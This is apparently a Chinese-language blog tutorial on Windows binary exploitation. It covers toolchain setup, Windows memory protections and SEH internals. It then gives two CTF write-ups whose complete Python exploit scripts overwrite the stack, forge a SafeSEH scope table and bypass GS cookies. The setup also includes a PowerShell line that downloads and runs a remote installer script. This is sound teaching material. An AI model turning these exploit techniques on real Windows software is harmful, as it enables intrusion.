Windows Pwn 学习之路

阅读量493872

|评论5

|

发布时间 : 2020-07-16 10:00:59

 

0x01 前言

近期的比赛中已经出现了很多和Windows pwn有关的题目,因此,本着学习的态度这里将总结我学习Windows Pwn中的学习历程。

本文主要介绍了Windows Pwn中环境的搭建以及一些新的机制,辅以部分例题帮助理解。

 

0x02 环境搭建

优化Powershell显示

优化步骤使用@Lulus的知乎专栏

如果你不喜欢原有的powershell显示风格,你可以运行下列命令来更换其显示风格:

iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco feature enable -n allowGlobalConfirmation
choco install git
Install-Module posh-git
Install-Module oh-my-posh
Install-Module -Name PSReadLine -Force -SkipPublisherCheck
Install-Module Get-ChildItemColor -AllowClobber
Install-Module WindowsConsoleFonts
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
@"
#requires -Version 2 -Modules posh-git

function Write-Theme {
    param(
        [bool]
        `$lastCommandFailed,
        [string]
        `$with
    )

    `$lastColor = `$sl.Colors.PromptBackgroundColor
    `$prompt = Write-Prompt -Object `$sl.PromptSymbols.StartSymbol -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor

    #check the last command state and indicate if failed
    If (`$lastCommandFailed) {
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.FailedCommandSymbol) " -ForegroundColor `$sl.Colors.CommandFailedIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
    }

    #check for elevated prompt
    If (Test-Administrator) {
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.ElevatedSymbol) " -ForegroundColor `$sl.Colors.AdminIconForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
    }

    `$user = [System.Environment]::UserName
    `$computer = [System.Environment]::MachineName
    `$path = Get-FullPath -dir `$pwd
    if (Test-NotDefaultUser(`$user)) {
        `$prompt += Write-Prompt -Object "`$user@`$computer " -ForegroundColor `$sl.Colors.SessionInfoForegroundColor -BackgroundColor `$sl.Colors.SessionInfoBackgroundColor
    }

    if (Test-VirtualEnv) {
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.VirtualEnvSymbol) `$(Get-VirtualEnvName) " -ForegroundColor `$sl.Colors.VirtualEnvForegroundColor -BackgroundColor `$sl.Colors.VirtualEnvBackgroundColor
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.VirtualEnvBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
    }
    else {
        `$prompt += Write-Prompt -Object "`$(`$sl.PromptSymbols.SegmentForwardSymbol) " -ForegroundColor `$sl.Colors.SessionInfoBackgroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor
    }

    # Writes the drive portion
    `$prompt += Write-Prompt -Object "`$path " -ForegroundColor `$sl.Colors.PromptForegroundColor -BackgroundColor `$sl.Colors.PromptBackgroundColor

    `$status = Get-VCSStatus
    if (`$status) {
        `$themeInfo = Get-VcsInfo -status (`$status)
        `$lastColor = `$themeInfo.BackgroundColor
        `$prompt += Write-Prompt -Object `$(`$sl.PromptSymbols.SegmentForwardSymbol) -ForegroundColor `$sl.Colors.PromptBackgroundColor -BackgroundColor `$lastColor
        `$prompt += Write-Prompt -Object " `$(`$themeInfo.VcInfo) " -BackgroundColor `$lastColor -ForegroundColor `$sl.Colors.GitForegroundColor
    }

    # Writes the postfix to the prompt
    `$prompt += Write-Prompt -Object `$sl.PromptSymbols.SegmentForwardSymbol -ForegroundColor `$lastColor

    `$timeStamp = Get-Date -UFormat %r
    `$timestamp = "[`$timeStamp]"

    `$prompt += Set-CursorForRightBlockWrite -textLength (`$timestamp.Length + 1)
    `$prompt += Write-Prompt `$timeStamp -ForegroundColor `$sl.Colors.PromptForegroundColor

    `$prompt += Set-Newline

    if (`$with) {
        `$prompt += Write-Prompt -Object "`$(`$with.ToUpper()) " -BackgroundColor `$sl.Colors.WithBackgroundColor -ForegroundColor `$sl.Colors.WithForegroundColor
    }
    `$prompt += Write-Prompt -Object (`$sl.PromptSymbols.PromptIndicator) -ForegroundColor `$sl.Colors.PromptBackgroundColor
    `$prompt += ' '
    `$prompt
}

`$sl = `$global:ThemeSettings #local settings
`$sl.PromptSymbols.StartSymbol = ''
`$sl.PromptSymbols.PromptIndicator = [char]::ConvertFromUtf32(0x276F)
`$sl.PromptSymbols.SegmentForwardSymbol = [char]::ConvertFromUtf32(0xE0B0)
`$sl.Colors.PromptForegroundColor = [ConsoleColor]::White
`$sl.Colors.PromptSymbolColor = [ConsoleColor]::White
`$sl.Colors.PromptHighlightColor = [ConsoleColor]::DarkBlue
`$sl.Colors.GitForegroundColor = [ConsoleColor]::Black
`$sl.Colors.WithForegroundColor = [ConsoleColor]::DarkRed
`$sl.Colors.WithBackgroundColor = [ConsoleColor]::Magenta
`$sl.Colors.VirtualEnvBackgroundColor = [System.ConsoleColor]::Red
`$sl.Colors.VirtualEnvForegroundColor = [System.ConsoleColor]::White
"@>"C:Program FilesWindowsPowerShellModulesoh-my-posh2.0.443ThemesParadox.psm1"
@"
chcp 65001
Set-PSReadlineOption -EditMode Emacs
function which(`$name) { Get-Command `$name | Select-Object Definition }
function rmrf(`$item) { Remove-Item `$item -Recurse -Force }
function mkfile(`$file) { "" | Out-File `$file -Encoding ASCII }
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
"@ > $PROFILE
chcp 65001
Set-PSReadlineOption -EditMode Emacs
Import-Module posh-git
Import-Module oh-my-posh
Import-Module Get-ChildItemColor
Import-Module WindowsConsoleFonts
Set-Alias l Get-ChildItemColor -option AllScope
Set-Alias ls Get-ChildItemColorFormatWide -option AllScope
Set-Theme Paradox
git clone https://github.com/powerline/fonts.git
cd .fonts
.install.ps1
cd ..
del .fonts -Recurse -Force

⚠️:Line 92需要修改为你的本地正确地址!

在那之后,修改Powershell -> 首选项 -> 字体

image-20200705223201212

在那之后,修改Powershell -> 首选项 -> 颜色 -> 屏幕背景

image-20200705223341380

配置Python2以及Python3环境

配置方法及过程此处不再赘述,但是注意,若因为优化了PowerShell而导致了LookupError: unknown encoding: cp65001,则需要添加一个环境变量:

image-20200705235426028

安装winpwn

winpwn更类似于pwntools,用于本地的程序调试以及连接远程。

使用以下命令安装winpwn这个包,并且安装相关依赖:

pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone

安装winchecksec

winchecksec更类似于checksec,用于Windows程序的保护检查。

使用以下命令安装winchecksec,并且安装相关依赖:

vcpkg install pe-parse:x86-windows
vcpkg install pe-parse:x64-windows
vcpkg install uthenticode:x86-windows
vcpkg install uthenticode:x64-windows
git clone https://github.com/trailofbits/winchecksec.git
cd winchecksec
mkdir build
cd build
cmake ..
cmake --build . --config Release

⚠️注意:这里首先需要安装vcpkg作为核心依赖项,可以使用如下方法安装:

git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
.vcpkg.exe integrate install

这里需要特别注意,如果在执行.bootstrap-vcpkg.bat时发生error MSB8040: 此项目需要缓解了 Spectre 漏洞的库。从 Visual Studio 安装程序(单个组件选项卡)为正在使用的任何工具集和 体系结构安装它们。了解详细信息: https://aka.ms/Ofhn4则需要打开VisualStudio 2019 -> 修改 -> 单个组件找到编译器、生成工具和运行时选项组,勾选安装最新版本的带Spectre 漏洞缓解的相关运行库。

image-20200706123928419

⚠️注意:使用vcpkg安装结束后需要进行环境变量的配置:

image-20200706151835102

配置调试器

Windows下,我们常用的调试器有:x64dbgWindbg(Windows 10)gdbWindbgX(Windbg Preview)

  1. 对于x64dbg,直接从 https://x64dbg.com/ 下载即可。
  2. 对于Windbg(Windows 10),需要先安装Windows SDK(可通过Visual Studio来进行安装),然后在应用和功能处修改添加。image-20200707163222421image-20200707163254900
  3. 对于GDB,需要通过MinGW-w64来进行安装。
  4. 对于WindbgX(Windbg Preview)需要通过微软应用商店下载。
  5. 对于以上所有的工具,为了能用winpwntools直接唤起,需要进行额外配置,首先下载Pykd-Ext,需要注意的是,Pykd-ExtPykd是不同的两个插件。将下载下来的两个dll分别放置在正确的位置。在$HOME文件夹下建立文件.winpwn,内容如下:
    {
        "debugger":{
            "i386": {
                "x64dbg": "C:\Program Files (x86)\x64debug\release\x32\x32dbg.exe", 
                "gdb": "", 
                "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe",
                "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe"
            },
            "amd64": {
                "x64dbg": "C:\Program Files (x86)\x64debug\release\x64\x64dbg.exe", 
                "gdb": "", 
                "windbg": "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe",
                "windbgx": "C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\WinDbgX.exe"
            }
        },
        "debugger_init": {
            "i386": {
                "x64dbg": "", 
                "gdb": "", 
                "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;",
                "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext32\byinit.py;"
            },
            "amd64": {
                "x64dbg": "", 
                "gdb": "", 
                "windbg": ".load C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\pykd.dll;!py -g C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\ext\byinit.py;",
                "windbgx": ".load C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\pykd.dll;!py -g C:\Users\error404\AppData\Local\Microsoft\WindowsApps\Microsoft.WinDbg_8wekyb3d8bbwe\ext64\byinit.py;"
            }
        }
    }
    

    ⚠️:路径请自行调整。

 

0x03 Windows Pwn 基本知识

函数调用约定

  1. 由于函数调用约定大多只和架构相关,因此和Linux相比没有太大的变化。

Windows程序保护

Windows下有部分程序保护更换了名字或者有一些细节发生了改变,我们来详细列举。

  1. ASLR:与Linux相同,ASLR保护指的是地址随机化技术(Address Space Layout Randomization),这项技术将在程序启动时将DLL随机的加载到内存中的位置,这将缓解恶意程序的加载。ASLR技术自Windows 10开始已经在系统中被配置为默认启用。
  2. High Entropy VA:这个保护被称为高熵64位地址空间布局随机化,一旦开启,表示此程序的地址随机化的取值空间为64 bit,这会导致攻击者更难去推测随机化后的地址。
  3. Force Integrity:这个保护被称为强制签名保护,一旦开启,表示此程序加载时需要验证其中的签名,如果签名不正确,程序将会被阻止运行。
  4. Isolation:这个保护被称为隔离保护,一旦开启,表示此程序加载时将会在一个相对独立的隔离环境中被加载,从而阻止攻击者过度提升权限。
  5. NX/DEP/PAE:与Linux相同,NX保护指的是内存页不可运行(No-eXecute),这项技术是一项系统级的内存保护功能,使操作系统能够将一页或多页内存标记为不可执行,从而防止从该内存区域运行代码,以帮助防止利用缓冲区溢出。它帮助防止代码在数据页面(例如堆,栈和内存池)中运行,在Windows中常称为DEP(数据执行保护,即Data Execution Prevention),同时引入了一个新的机制被称为PAE(物理地址扩展,即Physical Address Extension),PAE是一项处理器功能,使x86处理器可以在部分Windows版本上访问4 GB以上的物理内存。在基于x86的系统上运行的某些32位版本的Windows Server可以使用PAE访问最多64 GB128 GB的物理内存,具体取决于处理器的物理地址大小。使用PAE,操作系统将从两级线性地址转换转换为三级地址转换。两级线性地址转换将线性地址拆分为三个独立的字段索引到内存表中,三级地址转换将其拆分为四个独立的字段:一个2位的字段,两个9位的字段和一个12位的字段。PAE模式下的页表条目(PTE)和页目录条目(PDE)的大小从32位增加到64位。附加位允许操作系统PTE或PDE引用4 GB以上的物理内存。同时,PAE将允许在基于x64的系统上运行的32位Windows中启用DEP等功能。
  6. SEHOP:即结构化异常处理保护(Structured Exception Handling Overwrite Protection),这个保护能够防止攻击者利用结构化异常处理来进行进一步的利用。
  7. CFG:即控制流防护(Control Flow Guard),这项技术通过在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点, 最终及时并有效的进行异常处理,避免引发相关的安全问题。
    简单的说,就是在程序间接跳转之前,会判断这个将要跳转的地址是否是合法的。
  8. RFG:即返回地址防护(Return Flow Guard),这项技术会在每个函数头部将返回地址保存到fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。
  9. SafeSEH:即安全结构化异常处理(Safe Structured Exception Handlers),这项技术可以理解为一个白名单版的安全沙箱,它会事先为你定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序正式运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行。
  10. GS:这个保护类似于Linux中的Canary保护,一旦开启,会在返回地址和BP之前压入一个额外的Security Cookie。系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不吻合,说法栈中发生了溢出。
  11. Authenticode:签名保护。
  12. .NETDLL混淆级保护。

新机制——结构化异常处理(SEH机制)

结构化异常处理是Windows操作系统上MicrosoftC/C++程序语言做的语法扩展,用于处理异常事件的程序控制结构。异常事件是指打断程序正常执行流程的不在期望之中的硬件、软件事件。硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException语句抛出的异常。Microsoft扩展了C语言的语法,用try-excepttry-finally语句来处理异常。异常处理程序可以释放已经获取的资源、显示出错信息与程序内部状态供调试、从错误中恢复、尝试重新执行出错的代码或者关闭程序等等。一个__try语句不能既有__except,又有__finally。但try-excepttry-finally语句可以嵌套使用。

SEH相关的重要结构体

TIB结构体

TIB(Thread Information Block,线程信息块)是保存线程基本信息的数据结构,它存在于x86的机器上,它也被称为是Win32TEB(Thread Environment Block,线程环境块)。TIB/TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB

TEB结构位于Windows.h,内容如下:

typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;

TIB没有在Windows文档中说明,这里从Wine中可以看到结构如下:

// Code in https://source.winehq.org/source/include/winnt.h#2635

typedef struct _NT_TIB{
    struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
    PVOID StackBase;    // 当前线程所使用的栈的栈底
    PVOID StackLimit;   // 当前线程所使用的栈的栈顶
    PVOID SubSystemTib; // 子系统
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

在这个结构中与异常处理有关的成员是指向_EXCEPTION_REGISTRATION_RECORD结构的Exceptionlist指针

_EXCEPTION_REGISTRATION_RECORD结构体

该结构体主要用于描述线程异常处理句柄的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。

结构内容为:

//  Code in https://source.winehq.org/source/include/winnt.h#2623

typedef struct _EXCEPTION_REGISTRATION_RECORD{
    struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
    PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

img

新机制——导入表和导出表

Windows程序没有延迟绑定机制自然也就没有PLT/GOT表,但是Windows程序显然也是要调用所谓的库函数的,Windows下的函数库是DLL文件,类似于Unix下的libc文件,程序调用库函数需要借助的就是导入表和导出表了。

导入表是PE数据组织中的一个很重要的组成部分,它是为实现代码重用而设置的。通过分析导入表数据,可以获得诸如PE文件的指令中调用了多少外来函数,以及这些外来函数都存在于哪些动态链接库里等信息。Windows加载器在运行PE时会将导入表中声明的动态链接库一并加载到进程的地址空间,并修正指令代码中调用的函数地址。在数据目录中一共有四种类型的数据与导入表数据有关: 导入表、导入函数地址表、绑定导入表、延迟加载导入表。

程序中,导入表的地址通常位于.idata

image-20200711140709822

 

0x04 以[HITB GSEC]BABYSTACK为例

程序保护检查

image-20200706232818417

程序漏洞分析

程序漏洞还是较为明显的:

image-20200707102039274

Line 34中,我们向choice这个局部变量写入了0x100个字节,这会造成栈溢出漏洞.

同时我们事实上可以发现程序中预留了后门语句

image-20200707111810117

那么我们接下来只要能劫持EIP就能成功完成漏洞利用,程序开启了GS保护,因此我们无法直接劫持返回地址。

进一步分析main函数发现,程序在main中注册了一个异常处理函数,如果一个程序中注册了一个异常处理函数,那么当该函数运行发生异常时将会由该异常处理函数进行异常的捕获及处理。

image-20200707151525485

我们尝试使用WinDbg附加到此程序,然后尝试读0地址处的值。

image-20200707152527301

发现程序确实转而去调用注册了的SEH了,又发现,程序在压入EBP后,压入栈的第三个数即为SEH地址,恰好在我们的可控范围,于是我们可以依据此来控制执行流。

程序漏洞利用

控制执行流

首先我们来写一个不触发漏洞利用的交互EXP

Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address   = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x10
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()

image-20200707193222572

可以发现,异常正常被捕获,接下来,我们来写一个触发漏洞利用的交互EXP

Stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
PIE_address   = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
sh.recvuntil('Do you want to know more?')
sh.sendline('noo')
payload = 'A' * 0x90 + p32(0xDEADBEEF)
get_gdb(sh)
sh.sendline(payload)
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()

image-20200707193026275

可以发现,原有的异常捕获函数将不再被运行。

Safe-SEH绕过

但我们注意到,尽管我们已经屏蔽了原有的SEH,但是,我们没有将流程劫持到0xDEADBEEF

这是因为Safe-SEH的开启,导致不在__safe_se_handler_table中的SEH均不会被运行,那么就不限于0xDEADBEEF了,程序预留的后门必然也不是不合条件的SEH,那么我们接下来就要绕过Safe-SEH了。

image-20200708094516990

那么,我们来分析程序中注册的__except_handler4异常,由于Windows是不开源的系统,因此我们只能通过逆向的手段来去查看相关伪代码,相关代码存在于MSVCRT.dll

image-20200708133707652

将代码进行简单的优化以及重命名可以得到以下伪代码:

int __cdecl _except_handler4_common(unsigned int *CookiePointer, void (__fastcall *CookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *ExceptionRecord, _EXCEPTION_REGISTRATION_RECORD *EstablisherFrame, _CONTEXT *ContextRecord)
{

    ScopeTable = (_EH4_SCOPETABLE *)(*CookiePointer ^ EstablisherFrame + 8);

    ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);
    __except_validate_context_record(ContextRecord);

    if ( ExceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = ExceptionRecord;
        exceptionPointers.ContextRecord   = ContextRecord;
        tryLevel = *(_DWORD *)(EstablisherFrame + 12);
        *(_DWORD *)(EstablisherFrame - 4) = &ExceptionPointers;

        if ( tryLevel != -2 )
        {
            do
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = *(&ScopeTable->GSCookieOffset + v8);
                scopeTableRecord = &ScopeTable->GSCookieOffset + v8;
                encloseingLevel = scopeTableRecord->EnclosingLevel;

                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc, EstablisherFrame + 2);
                    ......
                if ( filterFuncRet > 0 )
                {
                    // 调用 HandlerFunc
                    _EH4_TransferToHandler(scopeTableRecord->HandlerFunc, v5);
                    ......
                }
            }
            else
            {
                ......
            }
            tryLevel = encloseingLevel;
        }while ( encloseingLevel != -2 );
        ......
        }
    }
......
}

分析可以发现,在Line 32处,程序实际执行了filterFunc(EstablisherFrame + 2),那么,我们只需要控制filterFuncEstablisherFrame这两个值事实上就可以控制执行流程了。

那么我们来看SEH的栈结构:

                                                  Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

在处理程序的一开始我们可以看到,为了要伪造FilterFunc,我们需要知道CookiePointer的值,这个值储存在__security_cookie的内存处,且与程序加载位置偏移固定,于是可以直接通过main函数地址的位置进行计算获得!

image-20200708175340648

事实上,接下来其实还有个问题,在异常处理中可以看到有ValidateLocalCookies(CookieCheckFunction, ScopeTable, &EstablisherFrame + 16);我们来看看此处的实现:

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3

    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

这里事实上就是检查要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,以及*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset]的值必须为__security_cookie

从上图的结构图可以看出我们事实上可以劫持scopeTable的地址!那么我们可以让scopeTable->GSCookieOffset的值为-2,这样程序将不会继续检查*(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];

那么我们可以构造Payload:

payload  = 'a' * 0x10
payload += p32(0x0FFFFFFFE)                               # scopeTable -> GSCookieOffset
payload += p32(0)
payload += p32(0x0FFFFFFCC)                               # scopeTable -> EHCookieOffset
payload += p32(0)
payload  = payload.ljust(0x70, 'b')
payload += p32(GS_Cookie)                      # framePointer[scopeTable->EHCookieOffset]
payload += 'c' * 0x20
payload += p32(stack_address + 0xD4)
payload += p32(PIE_address + 0x1460)
payload += p32((stack_address + 0x10) ^ security_cookie)   # scopeTable
payload += p32(0)
payload += 'd' * 0x10                                      # framePointer

image-20200709103101061

image-20200709103215078

image-20200709104133674

可以发现,该检查已经通过!

image-20200709104303417

最终劫持控制流到Shell

接下来我们只需要伪造FilterFunc到程序后门即可完成利用。

Final Exploit

from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

# file_name=ELF('./file_name', checksec = False)

def get_sh():
    if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
        return remote(sys.argv[2],sys.argv[3])
    else:
        return process("./BABYSTACK.exe")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string).strip(end_string),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        print(info + str(hex(return_address)))
    return return_address

# def get_flag(sh):
#     sh.sendline('cat /flag')
#     return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    windbgx.attach(sh)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        stack_address = get_address(sh=sh,info="[+] STACK ADDRESS IS ",start_string="stack address = 0x",end_string="x0A",int_mode=True)
        PIE_address   = get_address(sh=sh,info="[+] PIE ADDRESS IS ",start_string="main address = 0x",end_string="x0A",offset=-0x10B0,int_mode=True)
        sh.recvuntil('Do you want to know more?')
        sh.sendline('yes')
        sh.recvuntil('Where do you want to know')
        sh.sendline(str(PIE_address + 0x4004))

        security_cookie = get_address(sh=sh,info="[+] Security Cookie IS ",start_string=" value is 0x",end_string="x0A",int_mode=True)
        GS_Cookie = (stack_address + 0x9C) ^ security_cookie

        payload  = 'a' * 0x10
        payload += p32(0x0FFFFFFFE)
        payload += p32(0)
        payload += p32(0x0FFFFFFCC)
        payload += p32(0)
        payload += p32(0xFFFFFFFE)
        payload += p32(PIE_address + 0x138D)
        payload  = payload.ljust(0x78 - 0x10, 'b')
        payload += p32(GS_Cookie)
        payload += 'c' * 0x20
        payload += p32(stack_address + 0xD4)
        payload += p32(PIE_address + 0x1460)
        payload += p32((stack_address + 0x10) ^ security_cookie)
        payload += p32(0)
        payload += 'd' * 0x10
        sh.recvuntil('Do you want to know more?')
        # get_gdb(sh)
        sh.sendline('noo')
        sh.sendline(payload)
        sh.recvuntil('Do you want to know more?')
        sh.sendline('yes')
        sh.recvuntil('Where do you want to know')
        sh.sendline('0')
        sh.interactive()
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    os.system("")
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

0x05 以[root-me]PE32 – Stack buffer overflow basic为例

程序保护检查

image-20200709174627583

发现基本是无保护程序

程序漏洞分析

存在一个明显的栈溢出

image-20200709175423678

存在后门函数

image-20200709175616103

程序漏洞利用

直接利用常规的栈溢出思路,覆盖返回地址以及EBP

Final Exploit

from winpwn import *
import os
import traceback
import sys
context.log_level='debug'
# context.arch='amd64'
context.arch='i386'

# file_name=ELF('./file_name', checksec = False)

def get_sh():
    if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE' :
        return remote(sys.argv[2],sys.argv[3])
    else:
        return process("./ch72.exe")

def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if int_mode :
        return_address = int(sh.recvuntil(end_string).strip(end_string),16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].strip(end_string).ljust(8,'x00'))
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        print(info + str(hex(return_address)))
    return return_address

# def get_flag(sh):
#     sh.sendline('cat /flag')
#     return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
    windbgx.attach(sh)
    if stop :
        raw_input()

def Multi_Attack():
    # testnokill.__main__()
    return

def Attack(sh=None,ip=None,port=None):
    if ip != None and port !=None:
        try:
            sh = remote(ip,port)
        except:
            return 'ERROR : Can not connect to target server!'
    try:
        # Your Code here
        payload  = 'a' * 0x14 + p32(0xDEADBEEF)
        payload += p32(0x401000)
        # get_gdb(sh)
        sh.sendline(payload)
        sh.interactive()
        flag=get_flag(sh)
        sh.close()
        return flag
    except Exception as e:
        traceback.print_exc()
        sh.close()
        return 'ERROR : Runtime error!'

if __name__ == "__main__":
    os.system("")
    sh = get_sh()
    flag = Attack(sh=sh)
    log.success('The flag is ' + re.search(r'flag{.+}',flag).group())

 

